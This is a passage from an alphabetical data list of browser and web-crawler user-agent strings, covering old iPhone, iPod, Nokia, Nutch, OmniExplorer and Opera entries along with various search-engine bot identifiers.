pt-br) AppleWebKit/532+ (KHTML, like Gecko) Version/3.0 Mobile/1A538b Safari/419.3 Midori/0.2.0\nMozilla/5.0 (iPhone; U; fr; CPU iPhone OS 4_2_1 like Mac OS X; fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5\nMozilla/5.0 (iPhone; U; ru; CPU iPhone OS 4_2_1 like Mac OS X; fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5\nMozilla/5.0 (iPhone; U; ru; CPU iPhone OS 4_2_1 like Mac OS X; ru) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5\nMozilla/5.0 (iPod touch; CPU iPhone OS 7_1 like Mac OS X) AppleWebKit/537.51.2 (KHTML like Gecko) Version/7.0 Mobile/11D167 Safari/123E71C\nMozilla/5.0 (iPod; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) CriOS/44.0.2403.67 Mobile/12H143 Safari/600.1.4\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_1_1 like Mac OS X; ja-jp) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F138 Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77a Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77a Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2 like Mac OS X; it-it) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2 like Mac OS X; ja-jp) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77a Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2 like Mac OS X; ko-kr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2 like Mac OS X; ko-kr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77a Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5H11a\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-au) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko)\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5H11\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5H11a\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; es-es) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; ko-kr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; ko-kr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; pl-pl) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 2_2_1 like Mac OS X; sv-se) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPod; U; CPU iPhone OS 3_0 like Mac OS X; de-de) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16\nMozilla/5.0 (iPod; U; CPU iPhone OS 3_0 like Mac OS X; ja-jp) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16\nMozilla/5.0 (iPod; U; CPU iPhone OS 3_1_1 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Mobile/7C145\nMozilla/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; he-il) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\nMozilla/5.0 (iPod; U; CPU iPhone OS 4_3_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8G4 Safari/6533.18.5\nMozilla/5.0 (iPod; U; CPU iPhone OS 4_3_3 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\nMozilla/5.0 (iPod; U; CPU iPhone OS 6_1 like Mac OS X; en-HK) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.35 Puffin/3.9174IP Mobile\nMozilla/5.0 (ipad Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.6 (KHTML, like Gecko) Chrome/7.0.498.0 Safari/534.6\nMozilla/5.0 (research@mediatrec.com)\nMozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.0\nMozilla/5.0 (wgao@genieknows.com)\nMozilla/5.0 ArchLinux (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1\nMozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100\nMozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30\nMozilla/5.0 ArchLinux (X11; U; Linux x86_64; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.60 Safari/534.30\nMozilla/5.0 Galeon/1.0.2 (X11; Linux i686; U;) Gecko/20011224\nMozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0\nMozilla/5.0 Galeon/1.2.5 (X11; Linux i586; U;) Gecko/20020623 Debian/1.2.5-0.woody.1\nMozilla/5.0 Galeon/1.2.5 (X11; Linux i686; U;) Gecko/0\nMozilla/5.0 Galeon/1.2.5 (X11; Linux i686; U;) Gecko/20020610 Debian/1.2.5-1\nMozilla/5.0 Galeon/1.2.5 (X11; Linux i686; U;) Gecko/20020623 Debian/1.2.5-0.woody.1\nMozilla/5.0 Galeon/1.2.5 (X11; Linux i686; U;) Gecko/20020809\nMozilla/5.0 Galeon/1.2.6 (X11; Linux i586; U;) Gecko/20020916\nMozilla/5.0 Galeon/1.2.6 (X11; Linux i686; U;) Gecko/20020827\nMozilla/5.0 Galeon/1.2.6 (X11; Linux i686; U;) Gecko/20020830\nMozilla/5.0 Galeon/1.2.6 (X11; Linux i686; U;) Gecko/20020913 Debian/1.2.6-2\nMozilla/5.0 Galeon/1.2.6 (X11; Linux i686; U;) Gecko/20020916\nMozilla/5.0 Galeon/1.2.7 (X11; Linux i686; U;) Gecko/20021226 Debian/1.2.7-6\nMozilla/5.0 Galeon/1.2.8 (X11; Linux i686; U;) Gecko/20030212\nMozilla/5.0 Galeon/1.2.8 (X11; Linux i686; U;) Gecko/20030317\nMozilla/5.0 Galeon/1.2.9 (X11; Linux i686; U;) Gecko/20021213 Debian/1.2.9-0.bunk\nMozilla/5.0 Gecko/20030306 Camino/0.7\nMozilla/5.0 GurujiBot/1.0 ( http://www.guruji.com/en/WebmasterFAQ.html)\nMozilla/5.0 GurujiBot/1.0 (+http://www.guruji.com/en/WebmasterFAQ.html)\nMozilla/5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Firefox/3.6.13\nMozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/11.0.696.50\nMozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/12.0.742.91\nMozilla/5.0 Slackware/13.37 (X11; U; Linux x86_64; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41\nMozilla/5.0 URL-Spider\nMozilla/5.0 [en] (compatible; Gulper Web Bot 0.2.4 www.ecsl.cs.sunysb.edu/~maxim/cgi-bin/Link/GulperBot)\nMozilla/5.0 gURLChecker/0.x.x (Linux)\nMozilla/5.0 larbin@unspecified.mail\nMozilla/5.0 usww.com-Spider-for-w8.net\nMozilla/5.0 wgao@genieknows.com\nMozilla/5.0 whoiam [http://www.axxus.de/]\nMozilla/5.0(Compatible; Windows; U; en-US;) Sundance/0.9\nMozilla/5.0(Compatible; Windows; U; en-US;) Sundance/0.9.0.33\nMozilla/5.0(Windows; U; Windows NT 5.2; rv:1.9.2) Gecko/20100101 Firefox/3.6\nMozilla/5.0(Windows; U; Windows NT 7.0; rv:1.9.2) Gecko/20100101 Firefox/3.6\nMozilla/5.0(X11;U;Linux(x86_64);en;rv:1.9a8)Gecko/2007100619;GranParadiso/3.1\nMozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/123\nMozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10\nMozilla/5.0(iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314 Safari/531.21.10gin_lib.cc\nMozilla/5.001 (Macintosh; N; PPC; ja) Gecko/25250101\nMozilla/5.001 (X11; U; Linux i686; rv:1.8.1.6; de-ch) Gecko/25250101 (ubuntu-feisty)\nMozilla/6.0 (Future Star Technologies Corp. Star-Blade OS; U; en-US) iNet Browser 2.5\nMozilla/6.0 (Macintosh; I; Intel Mac OS X 11_7_9; de-LI; rv:1.9b4) Gecko/2012010317 Firefox/10.0a4\nMozilla/6.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:2.0.0.0) Gecko/20061028 Firefox/3.0\nMozilla/6.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1\nMozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 (KHTML, like Gecko) Chrome/2.0.172.6 Safari/530.7\nMozilla/6.0 (Windows; U; Windows NT 6.0; en-US) Gecko/2009032609 Chrome/2.0.172.6 Safari/530.7\nMozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8\nMozilla/6.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.8 (.NET CLR 3.5.30729)\nMozilla/6.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0\nMozilla/6.0 (Windows; U; Windows NT 7.0; en-US; rv:1.9.0.8) Gecko/2009032609 Firefox/3.0.9 (.NET CLR 3.5.30729)\nMozilla/6.0 (X11; U; Linux x86_64; en-US; rv:2.9.0.3) Gecko/2009022510 FreeBSD/ Sunrise/4.0.1/like Safari\nMozillaMozilla/4.0 (compatible; Linux 2.6.22) NetFront/3.4 Kindle/2.5 (screen 824x1200;rotate)\nMulder, VCR-1.0\nMultiText/0.1\nMusicWalker2.0 ( http://www.somusical.com)\nMy WinHTTP Connection\nMyGetRight/1.0.0\nMyGetRight/1.0b\nMylinea.com Crawler 2.0\nNABOT/5.0\nNASA Search 1.0\nNCSA Beta 1 (http://vias.ncsa.uiuc.edu/viasarchivinginformation.html)\nNCSA Mosaic/1.0 (X11;SunOS 4.1.4 sun4m)\nNCSA Mosaic/3.0 (Windows 95)\nNCSA_Mosaic/2.0 (Windows 3.1)\nNCSA_Mosaic/2.6 (X11; SunOS 4.1.3 sun4m)\nNCSA_Mosaic/2.7b4 (X11;AIX 1 000180663000)\nNEC Research Agent -- compuman at research.nj.nec.com\nNEC-Hayek/1.0\nNETCOMplete/x.xx\nNFReader/1.4.1.0 (http://www.gaijin.at/)\nNG-Search/0.86 ( http://www.ng-search.com)\nNG-Search/0.86 (+http://www.ng-search.com)\nNG-Search/0.9.8 (http://www.ng-search.com)\nNG-Search/0.90 (NG-SearchBot; http://www.ng-search.com;  )\nNG/1.0\nNG/4.0.1229\nNICO/1.0\nNITLE Blog Spider/0.01\nNP/0.1 (NP; http://www.nameprotect.com; npbot@nameprotect.com)\nNPBot (http://www.nameprotect.com/botinfo.html)\nNPBot-1/2.0\nNSPlayer/10.0.0.xxxx WMFSDK/10.0\nNaamah 1.0.1/Blogbot (http://blogbot.de/)\nNaamah 1.0a/Blogbot (http://blogbot.de/)\nNameOfAgent (CMS Spider)\nNationalDirectory-WebSpider/1.3\nNationalDirectoryAddURL/1.0\nNaverBot-1.0 (NHN Corp. / +82-2-3011-1954 / nhnbot@naver.com)\nNaverBot_dloader/1.5\nNavissoBot\nNavissoBot/1.7  (+http://navisso.com/)\nNebullabot/2.2 (http://bot.nebulla.info)\nNet-Seekr Bot/Net-Seekr Bot V1 (http://www.net-seekr.com)\nNetAnts/1.2x\nNetLookout/2.24\nNetMechanic Vx.0\nNetNewsWire/2.x (Mac OS X; http://ranchero.com/netnewswire/)\nNetNoseCrawler/v1.0\nNetPumper/x.xx\nNetResearchServer(http://www.look.com)\nNetResearchServer/2.5(loopimprovements.com/robot.html)\nNetResearchServer/2.7(loopimprovements.com/robot.html)\nNetResearchServer/2.8(loopimprovements.com/robot.html)\nNetResearchServer/3.5(loopimprovements.com/robot.html)\nNetResearchServer/4.0(loopimprovements.com/robot.html)\nNetResearchServer/x.x(loopimprovements.com/robot.html)\nNetSeer/Nutch-0.9 (NetSeer Crawler; http://www.netseer.com; crawler@netseer.com)\nNetSprint -- 2.0\nNetSurf/1.0 (Linux; i686)\nNetSurf/1.1 (Linux; i686)\nNetSurf/1.2 (Linux; i686)\nNetSurf/1.2 (Linux; x86_64)\nNetSurf/1.2 (NetBSD; amd64)\nNetSurf/1.2 (NetBSD; i386; NetBSD 4.99.59 i386)\nNetSurf/1.2 (RISC OS; armv4l)\nNetSurf/2.0 (Linux; i686)\nNetSurf/2.0 (RISC OS; armv3l)\nNetSurf/2.0 (RISC OS; armv5l)\nNetWhatCrawler/0.06-dev (NetWhatCrawler from NetWhat.com; http://www.netwhat.com; support@netwhat.com)\nNetZippy\nNetinfoBot/1.0 (http://netinfo.bg/netinfobot.html)\nNetluchs/0.8-dev ( ; http://www.netluchs.de/; ___don't___spam_me_@netluchs.de)\nNetprospector JavaCrawler\nNeuralBot/0.2\nNewsGator FetchLinks extension/0.2.0 (http://graemef.com)\nNewsGator/2.0 Bot (http://www.newsgator.com)\nNewsGator/2.5 (http://www.newsgator.com; Microsoft Windows NT 5.1.2600.0; .NET  CLR 1.1.4322.2032)\nNewsGatorOnline/2.0 (http://www.newsgator.com; 1 subscribers)\nNextGenSearchBot 1 (for information visit http://www.eliyon.com/NextGenSearchBot)\nNextopiaBOT (+http://www.nextopia.com) distributed crawler client beta v0.x\nNikita the Spider (http://NikitaTheSpider.com/)\nNitro Downloader 1.x (www.klsofttools.com)\nNitro PDF Download\nNoago Spider\nNocilla/1.0\nNokia-WAPToolkit/1.2 googlebot(at)googlebot.com\nNokia3230/2.0 (5.0614.0) SymbianOS/7.0s Series60/2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0\nNokia5230/GoBrowser/1.6.0.70\nNokia5230/GoBrowser/1.6.0.75\nNokia5250/10.0.011 (SymbianOS/9.4; U; Series60/5.0 Mozilla/5.0; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Safari/525 3gpp-gba\nNokia5250/11.0.008 (SymbianOS/9.4; U; Series60/5.0 Mozilla/5.0; Profile/MIDP-2.1 Configuration/CLDC-1.1 ) AppleWebKit/525 (KHTML, like Gecko) Safari/525 3gpp-gba\nNokia5320XpressMusic/GoBrowser/1.6.0.48\nNokia5320XpressMusic/GoBrowser/1.6.0.70\nNokia5320XpressMusic/GoBrowser/1.6.0.75\nNokia5320XpressMusic/GoBrowser/1.6.91\nNokia5320XpressMusic/GoBrowser/2.0.290\nNokia5530XpressMusic/GoBrowser/1.6.0.48\nNokia5630XpressMusic/GoBrowser/1.6.91\nNokia5700XpressMusic/GoBrowser/1.6.91\nNokia5730XpressMusic/GoBrowser\nNokia5730XpressMusic/GoBrowser/1.6.0.75\nNokia5800XpressMusic/GoBrowser\nNokia5800XpressMusic/GoBrowser/1.6.0.46\nNokia5800XpressMusic/GoBrowser/1.6.0.75\nNokia6100/1.0 (04.01) Profile/MIDP-1.0 Configuration/CLDC-1.0\nNokia6120c/GoBrowser\nNokia6120c/GoBrowser/1.6.0.48\nNokia6120c/GoBrowser/1.6.0.70\nNokia6120c/GoBrowser/1.6.86\nNokia6120c/GoBrowser/2.0.290\nNokia6124c/GoBrowser/1.6.0.48\nNokia6220c/GoBrowser/1.6.86\nNokia6230/2.0 (04.44) Profile/MIDP-2.0 Configuration/CLDC-1.1\nNokia6230i/2.0 (03.80) Profile/MIDP-2.0 Configuration/CLDC-1.1\nNokia6300/2.0 (05.50) Profile/MIDP-2.0 Configuration/CLDC-1.1 (botmobi http://find.mobi/bot.html abuse@mtld.mobi)\nNokia6610/1.0 (3.09) Profile/MIDP-1.0 Configuration/CLDC-1.0 (compatible;YahooSeeker/M1A1-R2D2; http://help.yahoo.com/help/us/ysearch/crawling/crawling-01.html)\nNokia6630/1.0 (2.3.129) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1\nNokia6630/1.0 (2.39.15) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1\nNokia6700s/GoBrowser/1.6.0.70\nNokia6700s/GoBrowser/1.6.91\nNokia7110/1.0 (05.01) (Google WAP Proxy/1.0)\nNokia7250/1.0 (3.14) Profile/MIDP-1.0 Configuration/CLDC-1.0\nNokiaC5-00/061.005 (SymbianOS/9.3; U; Series60/3.2 Mozilla/5.0; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 Safari/525 3gpp-gba\nNokiaC5-00/GoBrowser\nNokiaC5-00/GoBrowser/1.6.91\nNokiaC5-00/GoBrowser/2.0.290\nNokiaC6-00/10.0.021 (SymbianOS/9.4; Series60/5.0 Mozilla/5.0; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebkit/525 (KHTML, like Gecko) BrowserNG/7.2.6 UNTRUSTED/1.0 3gpp-gba\nNokiaC6-00/GoBrowser\nNokiaC7-00/SymbianOS/9.1 Series60/3.0 3gpp-gba\nNokiaE5-00/GoBrowser/1.6.86\nNokiaE5-00/SymbianOS/9.1 Series60/3.0 3gpp-gba\nNokiaE52-1/SymbianOS/9.1 Series60/3.0 3gpp-gba\nNokiaE63/GoBrowser/1.6.86\nNokiaE66/GoBrowser/2.0.297\nNokiaE72/GoBrowser/1.6.91\nNokiaE72/GoBrowser/2.0.290\nNokiaN70-1/5.0609.2.0.1 Series60/2.8 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0\nNokiaN70/GoBrowser\nNokiaN73-1/3.0649.0.0.1 Series60/3.0 Profile/MIDP2.0 Configuration/CLDC-1.1\nNokiaN78/GoBrowser/1.6.0.70\nNokiaN78/GoBrowser/1.6.0.75\nNokiaN79/GoBrowser\nNokiaN79/GoBrowser/1.6.0.48\nNokiaN79/GoBrowser/1.6.0.48-cn\nNokiaN81/GoBrowser\nNokiaN81/GoBrowser/1.6.0.70\nNokiaN81/GoBrowser/1.6.91\nNokiaN81/GoBrowser/2.0.290\nNokiaN82/GoBrowser\nNokiaN82/GoBrowser/1.6.0.48\nNokiaN82/GoBrowser/1.6.86\nNokiaN85/GoBrowser\nNokiaN85/GoBrowser/1.6.0.75\nNokiaN85/GoBrowser/1.6.91\nNokiaN86_8MP/GoBrowser\nNokiaN86_8MP/GoBrowser/1.6.0.4868.208.92;\nNokiaN95/GoBrowser\nNokiaN95_8GB/GoBrowser\nNokiaN97/21.1.107 (SymbianOS/9.4; Series60/5.0 Mozilla/5.0; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebkit/525 (KHTML, like Gecko) BrowserNG/7.1.4\nNokiaN97/GoBrowser\nNokiaN97_mini/GoBrowser\nNokiaN97_mini/GoBrowser/1.6.0.48\nNokiaN97_mini/GoBrowser/1.6.0.70\nNokiaN97_mini/GoBrowser/1.6.0.75\nNokiaN97i/SymbianOS/9.1 Series60/3.0\nNokiaX6/GoBrowser\nNokodoBot/1.x (+http://nokodo.com/bot.htm)\nNorbert the Spider(Burf.com)\nNotifixious/LinkChecker (http://notifixio.us)\nNsauditor/1.x\nNuSearch Spider (compatible; MSIE 6.0)\nNuSearch Spider www.nusearch.com\nNucleus SiteList LinkChecker/1.1\nNusearch Spider (www.nusearch.com)\nNutch\nNutch crawler/Nutch-0.9 (picapage.com; admin@picapage.com)\nNutch/Nutch-0.9 (Eurobot; http://www.ayell.eu )\nNutchCVS/0.05 (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net)\nNutchCVS/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; jagdeepssandhu@hotmail.com)\nNutchCVS/0.06-dev (Nutch; http://www.nutch.org/docs/en/bot.html; nutch-agent@lists.sourceforge.net)\nNutchCVS/0.0x-dev (Nutch; http://www.nutch.org/docs/bot.html; nutch-agent@lists.sourceforge.net)\nNutchCVS/0.7 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)\nNutchCVS/0.7.1 (Nutch running at UW; http://crawlers.cs.washington.edu/; sycrawl@cs.washington.edu)\nNutchCVS/0.7.1 (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; sycrawl@cs.washington.edu)\nNutchCVS/0.7.1 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)\nNutchCVS/0.7.2 (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)\nNutchCVS/0.8-dev (Nutch; http://lucene.apache.org/nutch/bot.html; nutch-agent@lucene.apache.org)\nNutchEC2Test/Nutch-0.9-dev (Testing Nutch on Amazon EC2.; http://lucene.apache.org/nutch/bot.html; ec2test at lucene.com)\nNutchOrg/0.0x-dev (Nutch; http://www.nutch.org/docs/bot.html; nutch-agent@lists.sourceforge.net)\nNutchVinegarCrawl/Nutch-0.8.1 (Vinegar; http://www.cs.washington.edu; eytanadar at gmail dot com)\nNymesis/1.0 (http://nymesis.com)\nOOZBOT/0.17 (--; http://www.setooz.com/oozbot.html; pvvpr at iiit dot ac dot in)\nOOZBOT/0.20 ( -- ; http://www.setooz.com/oozbot.html ; agentname at setooz dot_com )\nOOZBOT/0.20 ( http://www.setooz.com/oozbot.html ; agentname at setooz dot_com )\nOPWV-SDK UP.Browser/7.0.2.3.119 (GUI) MMP/2.0 Push/PO\nOSSProxy 1.3.305.321 (Build 305.321 Win32 en-us)(Dec 21 2005 16:30:54)\nOWR_Crawler 0.1\nObjectsSearch/0.01-dev (ObjectsSearch;http://www.ObjectsSearch.com/bot.html; support@thesoftwareobjects.com)\nObjectsSearch/0.0x (ObjectsSearch; http://www.ObjectsSearch.com/bot.html; support@thesoftwareobjects.com)\nOcelli/1.x (http://www.globalspec.com/Ocelli)\nOctopus\nOctora Beta - www.octora.com\nOctora Beta Bot - www.octora.com\nOffline Explorer\nOffline Explorer 1.*\nOffline Explorer/1.4\nOffline Explorer/1.9\nOffline Explorer/2.5\nOliverPerry\nOmniExplorer_Bot/1.0x (+http://www.omni-explorer.com) Internet CategorizerOmniExplorer http://www.omni-explorer.com/ car & shopping search (64.62.175.xxx)\nOmniExplorer_Bot/1.0x (+http://www.omni-explorer.com) Job Crawler\nOmniExplorer_Bot/1.1x (+http://www.omni-explorer.com) Torrent Crawler\nOmniExplorer_Bot/4.32 (+http://www.omni-explorer.com) WorldIndexer\nOmniExplorer_Bot/4.80 (+http://www.omni-explorer.com) WorldIndexer\nOmniExplorer_Bot/5.01 (+http://www.omni-explorer.com) WorldIndexer\nOmniExplorer_Bot/5.20 (+http://www.omni-explorer.com) WorldIndexer\nOmniExplorer_Bot/5.25 (+http://www.omni-explorer.com) WorldIndexer\nOmniExplorer_Bot/5.28 (+http://www.omni-explorer.com) WorldIndexer\nOmniExplorer_Bot/5.91c (+http://www.omni-explorer.com) WorldIndexer\nOmniExplorer_Bot/6.47 (+http://www.omni-explorer.com) WorldIndexer\nOmniExplorer_Bot/6.60 (+http://www.omni-explorer.com) WorldIndexer\nOmniExplorer_Bot/6.62 (+http://www.omni-explorer.com) WorldIndexer\nOmniExplorer_Bot/6.63b (+http://www.omni-explorer.com) WorldIndexer\nOmniExplorer_Bot/6.65a (+http://www.omni-explorer.com) WorldIndexer\nOmniExplorer_Bot/6.70 (+http://www.omni-explorer.com) WorldIndexer\nOmniExplorer_Bot/x.xx (+http://www.omni-explorer.com) WorldIndexer\nOnet.pl SA- http://szukaj.onet.pl\nOnline24-Bot (Version: 1.0x, powered by www.online24.de)\nOntoSpider/1.0 libwww-perl/5.65\nOpenAcoon v4.0.x (www.openacoon.de)\nOpenISearch/1.x (www.openisearch.com)\nOpenTaggerBot (http://www.opentagger.com/opentaggerbot.htm)\nOpenTextSiteCrawler/2.9.2\nOpenWebSpider/0.x.x (http://www.openwebspider.org)\nOpenWebSpider/x\nOpenbot/3.0+(robot-response@openfind.com.tw;+http://www.openfind.com.tw/robot.html)\nOpenfind Robot/1.1A2\nOpenfind data gatherer- Openbot/3.0+(robot-response@openfind.com.tw;+http://www.openfind.com.tw/robot.html)\nOpera 10.00 (X11; OpenBSD amd64; U; ru) Presto/2.2.0\nOpera 9.4 (Windows NT 5.3; U; en)\nOpera 9.4 (Windows NT 6.1; U; en)\nOpera 9.64 (Windows NT 6.1; U; en)\nOpera 9.7 (Windows NT 5.2; U; en)\nOpera user agent strings\nOpera/10.00 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.1\nOpera/10.00 (Macintosh; Intel Mac OS X; U; en) Presto/2.2.2\nOpera/10.00 (Windows NT 5.0; U; ru) Presto/2.2.0\nOpera/10.00 (Windows NT 5.1; U; cs) Presto/2.2.2\nOpera/10.00 (Windows NT 5.1; U; en) Presto/2.2.1\nOpera/10.00 (Windows NT 5.1; U; en) Presto/2.2.2\nOpera/10.00 (Windows NT 5.1; U; fi) Presto/2.2.0\nOpera/10.00 (Windows NT 5.1; U; pl) Presto/2.2.0\nOpera/10.00 (Windows NT 5.1; U; ru) Presto/2.2.0\nOpera/10.00 (Windows NT 5.1; U; zh-cn) Presto/2.2.0\nOpera/10.00 (Windows NT 6.0; U; en) Presto/2.2.2\nOpera/10.00 (Windows NT 6.0; U; it) Presto/2.2.1\nOpera/10.00 (Windows NT 6.1; U; en) Presto/2.2.1\nOpera/10.00 (Windows NT 6.1; U; en) Presto/2.2.2\nOpera/10.00 (Windows NT 6.1; U; pt-BR) Presto/2.2.2\nOpera/10.00 (X11; Linux i686 ; U; Fedora 9; en) Presto/2.2.0\nOpera/10.00 (X11; Linux i686; U; en) Presto/2.2.1\nOpera/10.50 (Windows NT 6.1; U; en-GB) Presto/2.2.2\nOpera/10.60 (Windows NT 5.1; U; en-US) Presto/2.6.30 Version/10.60\nOpera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 